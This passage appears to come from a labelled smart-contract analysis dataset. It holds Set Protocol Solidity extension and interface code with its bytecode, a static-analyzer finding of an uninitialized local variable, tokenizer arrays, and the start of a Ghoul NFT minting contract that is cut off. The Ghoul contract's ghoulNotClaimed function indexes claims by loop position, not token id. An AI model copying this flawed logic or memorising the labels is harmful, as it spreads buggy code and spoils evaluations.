http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.6.10; import { AddressArrayUtils } from "../lib/AddressArrayUtils.sol"; import { IBaseManager } from "../interfaces/IBaseManager.sol"; /** * @title BaseExtension * @author Set Protocol * * Abstract class that houses common extension-related state and functions. */ abstract contract BaseExtension { using AddressArrayUtils for address[]; /* ============ Events ============ */ event CallerStatusUpdated(address indexed _caller, bool _status); event AnyoneCallableUpdated(bool indexed _status); /* ============ Modifiers ============ */ /** * Throws if the sender is not the SetToken operator */ modifier onlyOperator() { require(msg.sender == manager.operator(), "Must be operator"); _; } /** * Throws if the sender is not the SetToken methodologist */ modifier onlyMethodologist() { require(msg.sender == manager.methodologist(), "Must be methodologist"); _; } /** * Throws if caller is a contract, can be used to stop flash loan and sandwich attacks */ modifier onlyEOA() { require(msg.sender == tx.origin, "Caller must be EOA Address"); _; } /** * Throws if not allowed caller */ modifier onlyAllowedCaller(address _caller) { require(isAllowedCaller(_caller), "Address not permitted to call"); _; } /* ============ State Variables ============ */ // Instance of manager contract IBaseManager public manager; // Boolean indicating if anyone can call function bool public anyoneCallable; // Mapping of addresses allowed to call function mapping(address => bool) public callAllowList; /* ============ Constructor ============ */ constructor(IBaseManager _manager) public { manager = _manager; } /* ============ External Functions ============ */ /** * OPERATOR ONLY: Toggle ability for passed addresses to call only allowed caller functions * * @param _callers Array of caller addresses to toggle status * @param _statuses Array of statuses for each caller */ function updateCallerStatus(address[] calldata _callers, bool[] calldata _statuses) external onlyOperator { require(_callers.length == _statuses.length, "Array length mismatch"); require(_callers.length > 0, "Array length must be > 0"); require(!_callers.hasDuplicate(), "Cannot duplicate callers"); for (uint256 i = 0; i < _callers.length; i++) { address caller = _callers[i]; bool status = _statuses[i]; callAllowList[caller] = status; emit CallerStatusUpdated(caller, status); } } /** * OPERATOR ONLY: Toggle whether anyone can call function, bypassing the callAllowlist * * @param _status Boolean indicating whether to allow anyone call */ function updateAnyoneCallable(bool _status) external onlyOperator { anyoneCallable = _status; emit AnyoneCallableUpdated(_status); } /* ============ Internal Functions ============ */ /** * Invoke manager to transfer tokens from manager to other contract. * * @param _token Token being transferred from manager contract * @param _amount Amount of token being transferred */ function invokeManagerTransfer(address _token, address _destination, uint256 _amount) internal { manager.transferTokens(_token, _destination, _amount); } /** * Invoke call from manager * * @param _module Module to interact with * @param _encoded Encoded byte data */ function invokeManager(address _module, bytes memory _encoded) internal { manager.interactManager(_module, _encoded); } /** * Determine if passed address is allowed to call function. If anyoneCallable set to true anyone can call otherwise needs to be approved. * * return bool Boolean indicating if allowed caller */ function isAllowedCaller(address _caller) internal view virtual returns (bool) { return anyoneCallable || callAllowList[_caller]; } } /* Copyright 2021 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.6.10; pragma experimental "ABIEncoderV2"; import { ISetToken } from "./ISetToken.sol"; interface IBaseManager { function setToken() external returns(ISetToken); function methodologist() external returns(address); function operator() external returns(address); function interactManager(address _module, bytes calldata _encoded) external; function transferTokens(address _token, address _destination, uint256 _amount) external; } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; pragma experimental "ABIEncoderV2"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { ISetToken } from "./ISetToken.sol"; interface IGeneralIndexModule { function startRebalance( ISetToken _setToken, address[] calldata _newComponents, uint256[] calldata _newComponentsTargetUnits, uint256[] calldata _oldComponentsTargetUnits, uint256 _positionMultiplier ) external; function trade( ISetToken _setToken, IERC20 _component, uint256 _ethQuantityLimit ) external; function tradeRemainingWETH( ISetToken _setToken, IERC20 _component, uint256 _minComponentReceived ) external; function raiseAssetTargets(ISetToken _setToken) external; function setTradeMaximums( ISetToken _setToken, address[] memory _components, uint256[] memory _tradeMaximums ) external; function setExchanges( ISetToken _setToken, address[] memory _components, string[] memory _exchangeNames ) external; function setCoolOffPeriods( ISetToken _setToken, address[] memory _components, uint256[] memory _coolOffPeriods ) external; function setExchangeData( ISetToken _setToken, address[] memory _components, bytes[] memory _exchangeData ) external; function setRaiseTargetPercentage(ISetToken _setToken, uint256 _raiseTargetPercentage) external; function setTraderStatus( ISetToken _setToken, address[] memory _traders, bool[] memory _statuses ) external; function setAnyoneTrade(ISetToken _setToken, bool _status) external; function initialize(ISetToken _setToken) external; } pragma solidity 0.6.10; pragma experimental "ABIEncoderV2"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @title ISetToken * @author Set Protocol * * Interface for operating with SetTokens. */ interface ISetToken is IERC20 { /* ============ Enums ============ */ enum ModuleState { NONE, PENDING, INITIALIZED } /* ============ Structs ============ */ /** * The base definition of a SetToken Position * * @param component Address of token in the Position * @param module If not in default state, the address of associated module * @param unit Each unit is the # of components per 10^18 of a SetToken * @param positionState Position ENUM. Default is 0; External is 1 * @param data Arbitrary data */ struct Position { address component; address module; int256 unit; uint8 positionState; bytes data; } /** * A struct that stores a component's cash position details and external positions * This data structure allows O(1) access to a component's cash position units and * virtual units. * * @param virtualUnit Virtual value of a component's DEFAULT position. Stored as virtual for efficiency * updating all units at once via the position multiplier. Virtual units are achieved * by dividing a "real" value by the "positionMultiplier" * @param componentIndex * @param externalPositionModules List of external modules attached to each external position. Each module * maps to an external position * @param externalPositions Mapping of module => ExternalPosition struct for a given component */ struct ComponentPosition { int256 virtualUnit; address[] externalPositionModules; mapping(address => ExternalPosition) externalPositions; } /** * A struct that stores a component's external position details including virtual unit and any * auxiliary data. * * @param virtualUnit Virtual value of a component's EXTERNAL position. * @param data Arbitrary data */ struct ExternalPosition { int256 virtualUnit; bytes data; } /* ============ Functions ============ */ function addComponent(address _component) external; function removeComponent(address _component) external; function editDefaultPositionUnit(address _component, int256 _realUnit) external; function addExternalPositionModule(address _component, address _positionModule) external; function removeExternalPositionModule(address _component, address _positionModule) external; function editExternalPositionUnit(address _component, address _positionModule, int256 _realUnit) external; function editExternalPositionData(address _component, address _positionModule, bytes calldata _data) external; function invoke(address _target, uint256 _value, bytes calldata _data) external returns(bytes memory); function editPositionMultiplier(int256 _newMultiplier) external; function mint(address _account, uint256 _quantity) external; function burn(address _account, uint256 _quantity) external; function lock() external; function unlock() external; function addModule(address _module) external; function removeModule(address _module) external; function initializeModule() external; function setManager(address _manager) external; function manager() external view returns (address); function moduleStates(address _module) external view returns (ModuleState); function getModules() external view returns (address[] memory); function getDefaultPositionRealUnit(address _component) external view returns(int256); function getExternalPositionRealUnit(address _component, address _positionModule) external view returns(int256); function getComponents() external view returns(address[] memory); function getExternalPositionModules(address _component) external view returns(address[] memory); function getExternalPositionData(address _component, address _positionModule) external view returns(bytes memory); function isExternalPositionModule(address _component, address _module) external view returns(bool); function isComponent(address _component) external view returns(bool); function positionMultiplier() external view returns (int256); function getPositions() external view returns (Position[] memory); function getTotalComponentRealUnits(address _component) external view returns(int256); function isInitializedModule(address _module) external view returns(bool); function isPendingModule(address _module) external view returns(bool); function isLocked() external view returns (bool); }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063a075723611610097578063e81409d311610066578063e81409d3146101e2578063ed9cf58c146101f5578063f2d7dddb146101fd578063fc98f8521461021057610100565b8063a0757236146101a1578063aea6cc80146101b4578063d8be633d146101c7578063de02745b146101cf57610100565b80635a41aeb2116100d35780635a41aeb2146101605780635a860bab146101735780638129fc1c146101865780639ce4f3891461018e57610100565b80632d158e7d14610105578063481c6a75146101235780634afdd22f146101385780634ee05c4a1461014d575b600080fd5b61010d610223565b60405161011a9190611adb565b60405180910390f35b61012b610233565b60405161011a9190611ae6565b61014b610146366004611912565b610242565b005b61014b61015b366004611873565b61037e565b61014b61016e366004611912565b610461565b61014b6101813660046119ba565b610544565b61014b610642565b61014b61019c3660046115f9565b61076f565b61014b6101af3660046119ba565b6108b4565b61010d6101c2366004611559565b6109e4565b61012b6109f9565b61014b6101dd3660046117c4565b610a08565b61014b6101f0366004611591565b610aeb565b61012b610cfb565b61014b61020b3660046119da565b610d0a565b61014b61021e366004611704565b610deb565b600054600160a01b900460ff1681565b6000546001600160a01b031681565b6000809054906101000a90046001600160a01b03166001600160a01b031663570ca7356040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561029157600080fd5b505af11580156102a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102c99190611575565b6001600160a01b0316336001600160a01b0316146103025760405162461bcd60e51b81526004016102f990611d34565b60405180910390fd5b60025460405160609163188d6e2160e21b9161032e916001600160a01b03169086908690602401611c51565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152600354909150610379906001600160a01b031682610ece565b505050565b6000809054906101000a90046001600160a01b03166001600160a01b031663570ca7356040518163ffffffff1660e01b8152600401602060405180830381600087803b1580156103cd57600080fd5b505af11580156103e1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104059190611575565b6001600160a01b0316336001600160a01b0316146104355760405162461bcd60e51b81526004016102f990611d34565b600254604051606091636dbd8b9160e01b9161032e916001600160a01b03169086908690602401611be1565b6000809054906101000a90046001600160a01b03166001600160a01b031663570ca7356040518163ffffffff1660e01b8152600401602060405180830381600087803b1580156104b057600080fd5b505af11580156104c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104e89190611575565b6001600160a01b0316336001600160a01b0316146105185760405162461bcd60e51b81526004016102f990611d34565b60025460405160609163b821771960e01b9161032e916001600160a01b03169086908690602401611c51565b6000809054906101000a90046001600160a01b03166001600160a01b031663570ca7356040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561059357600080fd5b505af11580156105a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105cb9190611575565b6001600160a01b0316336001600160a01b0316146105fb5760405162461bcd60e51b81526004016102f990611d34565b6000805460ff60a01b1916600160a01b83151590810291909117825560405190917f92f8cd47e301bde05ff0abd73cc198632f3ac64fa443a1afc3e47745b3ea1acb91a250565b6000809054906101000a90046001600160a01b03166001600160a01b031663570ca7356040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561069157600080fd5b505af11580156106a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106c99190611575565b6001600160a01b0316336001600160a01b0316146106f95760405162461bcd60e51b81526004016102f990611d34565b60025460405160609163189acdbd60e31b91610721916001600160a01b031690602401611ae6565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b03199093169290921790915260035490915061076c906001600160a01b031682610ece565b50565b6000809054906101000a90046001600160a01b03166001600160a01b031663570ca7356040518163ffffffff1660e01b8152600401602060405180830381600087803b1580156107be57600080fd5b505af11580156107d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f69190611575565b6001600160a01b0316336001600160a01b0316146108265760405162461bcd60e51b81526004016102f990611d34565b606080606061089888888080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525050604080516020808c0282810182019093528b82529093508b92508a918291850190849080828437600092019190915250610f3692505050565b9250925092506108aa838383876111fb565b5050505050505050565b6000809054906101000a90046001600160a01b03166001600160a01b031663570ca7356040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561090357600080fd5b505af1158015610917573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061093b9190611575565b6001600160a01b0316336001600160a01b03161461096b5760405162461bcd60e51b81526004016102f990611d34565b600254604051606091638fa92b0560e01b91610995916001600160a01b0316908590602401611ced565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b0319909316929092179091526003549091506109e0906001600160a01b031682610ece565b5050565b60016020526000908152604090205460ff1681565b6003546001600160a01b031681565b6000809054906101000a90046001600160a01b03166001600160a01b031663570ca7356040518163ffffffff1660e01b8152600401602060405180830381600087803b158015610a5757600080fd5b505af1158015610a6b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8f9190611575565b6001600160a01b0316336001600160a01b031614610abf5760405162461bcd60e51b81526004016102f990611d34565b600254604051606091630bdbaaf560e11b9161032e916001600160a01b03169086908690602401611b61565b6000809054906101000a90046001600160a01b03166001600160a01b031663570ca7356040518163ffffffff1660e01b8152600401602060405180830381600087803b158015610b3a57600080fd5b505af1158015610b4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b729190611575565b6001600160a01b0316336001600160a01b031614610ba25760405162461bcd60e51b81526004016102f990611d34565b828114610bc15760405162461bcd60e51b81526004016102f990611d5e565b82610bde5760405162461bcd60e51b81526004016102f990611e32565b610c1a84848080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061127692505050565b15610c375760405162461bcd60e51b81526004016102f990611dfb565b60005b83811015610cf4576000858583818110610c5057fe5b9050602002016020810190610c659190611559565b90506000848484818110610c7557fe5b9050602002016020810190610c8a91906119ba565b6001600160a01b03831660008181526001602052604090819020805460ff191684151517905551919250907fbbf89f81f443eef9b97bfd2b7e260c0f575050d4094a0027dcf5d3623d9ef3ad90610ce2908490611adb565b60405180910390a25050600101610c3a565b5050505050565b6002546001600160a01b031681565b6000809054906101000a90046001600160a01b03166001600160a01b031663570ca7356040518163ffffffff1660e01b8152600401602060405180830381600087803b158015610d5957600080fd5b505af1158015610d6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d919190611575565b6001600160a01b0316336001600160a01b031614610dc15760405162461bcd60e51b81526004016102f990611d34565b6002546040516060916339ba98dd60e11b91610995916001600160a01b0316908590602401611d08565b6000809054906101000a90046001600160a01b03166001600160a01b031663570ca7356040518163ffffffff1660e01b8152600401602060405180830381600087803b158015610e3a57600080fd5b505af1158015610e4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e729190611575565b6001600160a01b0316336001600160a01b031614610ea25760405162461bcd60e51b81526004016102f990611d34565b60025460405160609163b91d30e960e01b9161032e916001600160a01b03169086908690602401611afa565b600054604051634cf4f63b60e01b81526001600160a01b0390911690634cf4f63b90610f009085908590600401611aaf565b600060405180830381600087803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b505050505050565b606080606080600260009054906101000a90046001600160a01b03166001600160a01b03166399d50d5d6040518163ffffffff1660e01b815260040160006040518083038186803b158015610f8a57600080fd5b505afa158015610f9e573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610fc69190810190611669565b805187519192509081811015610fee5760405162461bcd60e51b81526004016102f990611e69565b6060826001600160401b038111801561100657600080fd5b50604051908082528060200260200182016040528015611030578160200160208202803683370190505b5090506060611045838563ffffffff61132716565b6001600160401b038111801561105a57600080fd5b50604051908082528060200260200182016040528015611084578160200160208202803683370190505b5090506060611099848663ffffffff61132716565b6001600160401b03811180156110ae57600080fd5b506040519080825280602002602001820160405280156110d8578160200160208202803683370190505b5090506000805b858110156111e75760008d82815181106110f557fe5b60200260200101519050600080611115838c61137290919063ffffffff16565b915091508015611150578e848151811061112b57fe5b602002602001015188838151811061113f57fe5b6020026020010181815250506111dc565b865185106111705760405162461bcd60e51b81526004016102f990611dc4565b8287868151811061117d57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250508e84815181106111a957fe5b60200260200101518686815181106111bd57fe5b60209081029190910101526111d985600163ffffffff6113d816565b94505b5050506001016110df565b509198509650909450505050509250925092565b600254604051606091632f5c5ac360e01b9161122b916001600160a01b0316908890889088908890602401611c91565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152600354909150610cf4906001600160a01b031682610ece565b6000808251116112985760405162461bcd60e51b81526004016102f990611ec7565b60005b600183510381101561131c5760008382815181106112b557fe5b6020026020010151905060008260010190505b8451811015611312578481815181106112dd57fe5b60200260200101516001600160a01b0316826001600160a01b0316141561130a5760019350505050611322565b6001016112c8565b505060010161129b565b50600090505b919050565b600061136983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113fd565b90505b92915050565b81516000908190815b818110156113c557846001600160a01b031686828151811061139957fe5b60200260200101516001600160a01b031614156113bd579250600191506113d19050565b60010161137b565b50600019600092509250505b9250929050565b6000828201838110156113695760405162461bcd60e51b81526004016102f990611d8d565b600081848411156114215760405162461bcd60e51b81526004016102f99190611d21565b505050900390565b60008083601f84011261143a578182fd5b5081356001600160401b03811115611450578182fd5b60208301915083602080830285010111156113d157600080fd5b600082601f83011261147a578081fd5b813561148d61148882611f11565b611eeb565b8181529150602080830190848101818402860182018710156114ae57600080fd5b60005b848110156114d65781356114c481611f30565b845292820192908201906001016114b1565b505050505092915050565b8035801515811461136c57600080fd5b600082601f830112611501578081fd5b81356001600160401b03811115611516578182fd5b611529601f8201601f1916602001611eeb565b915080825283602082850101111561154057600080fd5b8060208401602084013760009082016020015292915050565b60006020828403121561156a578081fd5b813561136981611f30565b600060208284031215611586578081fd5b815161136981611f30565b600080600080604085870312156115a6578283fd5b84356001600160401b03808211156115bc578485fd5b6115c888838901611429565b909650945060208701359150808211156115e0578384fd5b506115ed87828801611429565b95989497509550505050565b600080600080600060608688031215611610578081fd5b85356001600160401b0380821115611626578283fd5b61163289838a01611429565b9097509550602088013591508082111561164a578283fd5b5061165788828901611429565b96999598509660400135949350505050565b6000602080838503121561167b578182fd5b82516001600160401b03811115611690578283fd5b80840185601f8201126116a1578384fd5b805191506116b161148883611f11565b82815283810190828501858502840186018910156116cd578687fd5b8693505b848410156116f85780516116e481611f30565b8352600193909301929185019185016116d1565b50979650505050505050565b60008060408385031215611716578182fd5b82356001600160401b038082111561172c578384fd5b6117388683870161146a565b935060209150818501358181111561174e578384fd5b85019050601f81018613611760578283fd5b803561176e61148882611f11565b81815283810190838501858402850186018a101561178a578687fd5b8694505b838510156117b4576117a08a826114e1565b83526001949094019391850191850161178e565b5080955050505050509250929050565b600080604083850312156117d6578182fd5b82356001600160401b03808211156117ec578384fd5b6117f88683870161146a565b935060209150818501358181111561180e578384fd5b85019050601f81018613611820578283fd5b803561182e61148882611f11565b81815283810190838501865b84811015611863576118518b8884358901016114f1565b8452928601929086019060010161183a565b5096999098509650505050505050565b60008060408385031215611885578182fd5b82356001600160401b038082111561189b578384fd5b6118a78683870161146a565b93506020915081850135818111156118bd578384fd5b85019050601f810186136118cf578283fd5b80356118dd61148882611f11565b81815283810190838501865b84811015611863576119008b8884358901016114f1565b845292860192908601906001016118e9565b60008060408385031215611924578182fd5b82356001600160401b038082111561193a578384fd5b6119468683870161146a565b935060209150818501358181111561195c578384fd5b85019050601f8101861361196e578283fd5b803561197c61148882611f11565b81815283810190838501858402850186018a1015611998578687fd5b8694505b838510156117b457803583526001949094019391850191850161199c565b6000602082840312156119cb578081fd5b81358015158114611369578182fd5b6000602082840312156119eb578081fd5b5035919050565b6000815180845260208085019450808401835b83811015611a2a5781516001600160a01b031687529582019590820190600101611a05565b509495945050505050565b6000815180845260208085019450808401835b83811015611a2a57815187529582019590820190600101611a48565b60008151808452815b81811015611a8957602081850181015186830182015201611a6d565b81811115611a9a5782602083870101525b50601f01601f19169290920160200192915050565b6001600160a01b0383168152604060208201819052600090611ad390830184611a64565b949350505050565b901515815260200190565b6001600160a01b0391909116815260200190565b6001600160a01b038416815260606020808301829052600091611b1f908401866119f2565b8381036040850152845180825282860191830190845b81811015611b53578351151583529284019291840191600101611b35565b509098975050505050505050565b6001600160a01b038416815260606020808301829052600091611b86908401866119f2565b838103604085015284518082528282019083810283018401848801865b83811015611bd157601f19868403018552611bbf838351611a64565b94870194925090860190600101611ba3565b50909a9950505050505050505050565b6001600160a01b038416815260606020808301829052600091611c06908401866119f2565b838103604085015284518082528282019083810283018401848801865b83811015611bd157601f19868403018552611c3f838351611a64565b94870194925090860190600101611c23565b6001600160a01b0384168152606060208201819052600090611c75908301856119f2565b8281036040840152611c878185611a35565b9695505050505050565b6001600160a01b038616815260a060208201819052600090611cb5908301876119f2565b8281036040840152611cc78187611a35565b8381036060850152611cd98187611a35565b925050508260808301529695505050505050565b6001600160a01b039290921682521515602082015260400190565b6001600160a01b03929092168252602082015260400190565b6000602082526113696020830184611a64565b60208082526010908201526f26bab9ba1031329037b832b930ba37b960811b604082015260600190565b602080825260159082015274082e4e4c2f240d8cadccee8d040dad2e6dac2e8c6d605b1b604082015260600190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b6020808252601e908201527f556e6578706563746564206e657720636f6d706f6e656e742061646465640000604082015260600190565b60208082526018908201527f43616e6e6f74206475706c69636174652063616c6c6572730000000000000000604082015260600190565b60208082526018908201527f4172726179206c656e677468206d757374206265203e20300000000000000000604082015260600190565b602080825260409082018190527f436f6d706f6e656e7473206172726179206d75737420626520657175616c206f908201527f72206c6f6e676572207468616e2063757272656e7420636f6d706f6e656e7473606082015260800190565b6020808252600a90820152694120697320656d70747960b01b604082015260600190565b6040518181016001600160401b0381118282101715611f0957600080fd5b604052919050565b60006001600160401b03821115611f26578081fd5b5060209081020190565b6001600160a01b038116811461076c57600080fdfea26469706673582212206f7e049cd2097b7f668738dce1ea9a8b8fefce5b93fed47be017848405885cfd64736f6c634300060a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 24434, 2278, 26187, 2620, 22907, 2475, 2063, 28756, 7011, 4215, 23499, 2094, 2581, 4215, 22394, 2581, 2581, 2620, 2683, 4402, 2575, 2094, 27009, 2546, 29345, 1013, 1008, 9385, 25682, 5950, 3597, 25918, 8082, 7000, 2104, 1996, 15895, 6105, 1010, 2544, 1016, 1012, 1014, 1006, 1996, 1000, 6105, 1000, 1007, 1025, 2017, 2089, 2025, 2224, 2023, 5371, 3272, 1999, 12646, 2007, 1996, 6105, 1012, 2017, 2089, 6855, 1037, 6100, 1997, 1996, 6105, 2012, 8299, 1024, 1013, 1013, 7479, 1012, 15895, 1012, 8917, 1013, 15943, 1013, 6105, 1011, 1016, 1012, 1014, 4983, 3223, 2011, 12711, 2375, 2030, 3530, 2000, 1999, 3015, 1010, 4007, 5500, 2104, 1996, 6105, 2003, 5500, 2006, 2019, 1000, 2004, 2003, 1000, 3978, 1010, 2302, 10943, 3111, 2030, 3785, 1997, 2151, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,716
0x9738055845b6f657f8acfe0f0a90953c55f64004
// SPDX-License-Identifier: MIT // Grab a Ghoul, perfect pairing with your Soul // // <3 Lost Souls Sanctuary team // @glu pragma solidity ^0.8.0; import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol'; import '@openzeppelin/contracts/access/Ownable.sol'; contract Ghoul is ERC721Enumerable, Ownable { string public GHOULS_PROVENANCE = ""; string _baseTokenURI; uint256 public constant MAX_GHOULS = 5000; bool public mintPaused = true; uint256 public ghoulEndTime = 1664596799; // October 1st, 2022 00:00:00 GMT-0400 // Soul Pass Mapping mapping (uint256 => bool) public soulPassClaimed; address soulPass; constructor( address SoulPassContract ) ERC721("Ghouls", "GHLS") { soulPass = SoulPassContract; // Deployer gets first one _safeMint( msg.sender, 0); } // Mint All Ghouls function claimAllGhouls(uint256[] memory soulPassArray) public { uint256 supply = totalSupply(); require( !mintPaused, "Mint paused" ); // Check if we hit max require( supply < MAX_GHOULS, "Exceeds maximum SoulPass supply" ); for(uint256 i;i<soulPassArray.length;i++){ claimGhoul(soulPassArray[i]); } } // returns array of souls you own that have not been claimed function ghoulNotClaimed(address _owner) public view returns(uint256[] memory) { uint256 tokenCount = balanceOf(_owner); uint256[] memory tokensId = new uint256[](tokenCount); for(uint256 i; i < tokenCount; i++){ if(!soulPassClaimed[i]){ tokensId[i] = tokenOfOwnerByIndex(_owner, i); } } return tokensId; } // Mint One SoulPass function claimGhoul(uint256 soulPassNum) public { uint256 supply = totalSupply(); require( !mintPaused, "Mint paused" ); require( supply < MAX_GHOULS, "Exceeds maximum Ghoul supply" ); require(IERC721(soulPass).ownerOf(soulPassNum) == msg.sender,"You do not own the soul pass"); // Check ig Already Claimed require(!soulPassClaimed[soulPassNum],"Soul Pass already claimed"); // Check if past minting time require( block.timestamp <= ghoulEndTime,"Minting Over!"); soulPassClaimed[soulPassNum] = true; _safeMint( msg.sender, supply); } function walletOfOwner(address _owner) public view returns(uint256[] memory) { uint256 tokenCount = balanceOf(_owner); uint256[] memory tokensId = new uint256[](tokenCount); for(uint256 i; i < tokenCount; i++){ tokensId[i] = tokenOfOwnerByIndex(_owner, i); } return tokensId; } function setProvenanceHash(string memory provenanceHash) public onlyOwner { GHOULS_PROVENANCE = provenanceHash; } function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } function setBaseURI(string memory baseURI) public onlyOwner { _baseTokenURI = baseURI; } function pause(bool val) public onlyOwner { mintPaused = val; } function setEndTime(uint256 _newGhoulEndTime) public onlyOwner { ghoulEndTime = _newGhoulEndTime; } function getEndTime() public view returns (uint256){ return ghoulEndTime; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and 